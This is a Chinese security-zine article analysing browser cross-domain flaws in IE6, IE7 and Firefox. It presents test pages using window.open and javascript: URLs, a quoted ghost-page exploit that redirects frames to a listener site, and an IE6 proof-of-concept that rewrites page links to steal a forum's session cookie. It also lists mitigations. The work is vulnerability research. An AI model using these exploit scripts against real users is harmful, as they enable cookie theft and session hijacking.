==Ph4nt0m Security Team==

Issue 0x02, Phile #0x04 of 0x0A

|=----------=[浅析浏览器的跨域安全问题]=----------=|
|=----------=[By rayh4c]=----------=|
|=----------=[<rayh4c_at_80sec.com>]=----------=|

Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain的议题，字面上的意思就是驻留在自己的域，随后开始有牛人在自己BLOG上写了一些相关的内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。

1.来自伪协议的呼唤

JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。

在本机搭建一个WEB服务器，开始做下实验：

用各个浏览器浏览 http://127.0.0.1/test.htm ，下面是test.htm的脚本内容：

```
<script>
x=window.open("about:blank");
x.location="javascript:alert(document.domain)"
</script>
```

结果是：

IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。
IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。
Firefox：执行了伪协议,认为还没有域为NULL。

Firefox这里对于这个接口可能也有个BUG，对于IP地址的弹窗Firefox没有辨认出域，但是在实际绑定域名的情况下还是辨认出了域。

为了下面的部分方便理解，我把这里弹窗的关系给简称下，原来的窗口叫父页，弹出窗口叫子页，实验过后我们证明了:

父页和子页都在同一个域里，父页可以重定向子页的URL地址，甚至执行伪协议。

2.父页和子页的关系

如果父页让子页访问其他域后，父页和子页是否就脱离关系了呢？

继续测试，用各个浏览器浏览 http://127.0.0.1/test2.htm ，下面是test2.htm的脚本内容：

```
<script>
x=window.open("about:blank");
x.location="http://www.163.com" //访问163网站
setTimeout(function(){
    x.location="http://127.0.0.1";
},5000)  //5秒后重定向到127.0.0.1
</script>
```

这次IE6、IE7、Firefox都达成了一致，实验的结果是子页访问了163网站，5秒然后又跳

回了127.0.0.1。

所以就算是子页在访问了其他域后，还是会受父页的控制。

3.域与域之间的牵绊

如果父页让子页访问某个域后，再执行伪协议会有什么效果？

用各个浏览器浏览 http://127.0.0.1/test3.htm，下面是test3.htm的脚本内容：

```
<script>
x=window.open("about:blank");
x.location="http://www.163.com"
setTimeout(function(){
    x.location="javascript:alert(document.cookie)";
},5000)
</script>
```

结果是：

IE6：没有反应。
IE7：报错，拒绝访问。
Firefox：报错，alert没有定义。

这些信息明显的说明，如果子页和父页不在同一个域里，浏览器是不允许父页控制子页执行伪协议脚本的。

为了进一步验证，我们让子页打开同一个域里的页面测试：

用各个浏览器浏览 http://127.0.0.1/test4.htm，下面是test4.htm的脚本内容：

```
<script>
document.cookie="xss:true"  //给本域设置一个COOKIE为xss:true
x=window.open("about:blank");
x.location="http://127.0.0.1"
setTimeout(function(){
    x.location="javascript:alert(document.cookie)";
},5000)
</script>
```

结果IE6、IE7、Firefox都顺利的弹出了COOKIE值，说明如果子页和父页在同一个域里，浏览器是允许父页控制子页执行伪协议脚本的。

4.安全上的差异

父页和子页这种微妙的关系，到这里就开始引发安全问题了，PDP等大牛在分析鬼页的时候给出了EXP:

```
javascript:x=open("http://hackademix.net/");setInterval(function(){try{x.frames[0].location={toString:function(){return "http://www.sirdarckcat.net/caballero-listener.html";}}}catch(e){}},5000);void(1);
```

EXP按上面三部分的概念解释是：

父页是A域，父页指定子页访问B域内一个带框架的页面，父页就能够控制B域页面内框架的URL地址，这个就是典型的跨域操作了。

鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制，第二个是让location指定的地址看起来像个对象而不是参数。

我们按照鬼页的思路，继续在第3部分的基础上测试下去,将location指定的地址使用new String()对象处理。

用各个浏览器浏览 http://127.0.0.1/test5.htm，下面是test5.htm的脚本内容：

```
<script>
x=window.open("about:blank");
x.location="http://www.163.com";
setTimeout(function(){
    x.location=new String("javascript:alert(document.cookie)")
},5000)
</script>
```

IE6：弹出COOKIE。
IE7：报错，拒绝访问。
Firefox：报错，alert没有定义。

结果是IE6奇迹般的弹出了COOKIE，我们做到了跨域执行脚本。

5.灾难性的后果

到这里我们发现了一个IE6的0DAY，一定程度上这个跨域安全问题是灾难性的，如下面的EXP：

```
<a href="">IE6 Cross Domain Scripting</a>
<script>
function win(){
    x=window.open("http://www.phpwind.net");
    setTimeout(function(){
        x.location=new String("javascript:alert(document.cookie)")
    },3000)
}
window.onload=function(){
    for (i=0;i<document.links.length;i++) {
        document.links[i].href="javascript:win()"
    }
}
</script>
```

点击链接后，马上得到了PHPWIND论坛的COOKIE，这就意味着黑客通过类似的攻击可以得到你访问过的任意网站的COOKIE，然后劫持你的会话。

这样的漏洞相当于一个没有域限制的XSS漏洞，几乎是无法防御的，网站只能进一步的加强客户端的会话安全，如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的请求操作加上水印等。

6.总结

这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏，没有考虑清楚不同域有继承关系的window对象操作后的变化，只是对window对象的一些方法的参数做了类似数据类型的限制，导致最后绕过限制跨域执行了脚本。

从这个漏洞我们也可以看出IE7的一些新的安全特性，通过继承关系的window对象操作来跨域执行脚本伪协议最后是判断了域的，IE7已经开始防范类似的攻击。

但是这里并没有在本质上解决跨域安全问题，IE7只防范了跨域执行脚本，对于其他跨域的操作仍然是放行的，所以鬼页在IE7下可以跨域操作框架URL，而Firefox却没有存在相同的问题，说明不同浏览器在安全的考虑上也是存在很多差异的。

针对IE我又测试了其他对象方法，发现很多都被限制住了，但不排除还有同样的问题存在。按照类似的思路，大家可以继续尝试挖掘浏览器的一些跨域漏洞。

最后感谢HI群里共同讨论的朋友。

7.参考

[1] Browser"s Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/

-EOF-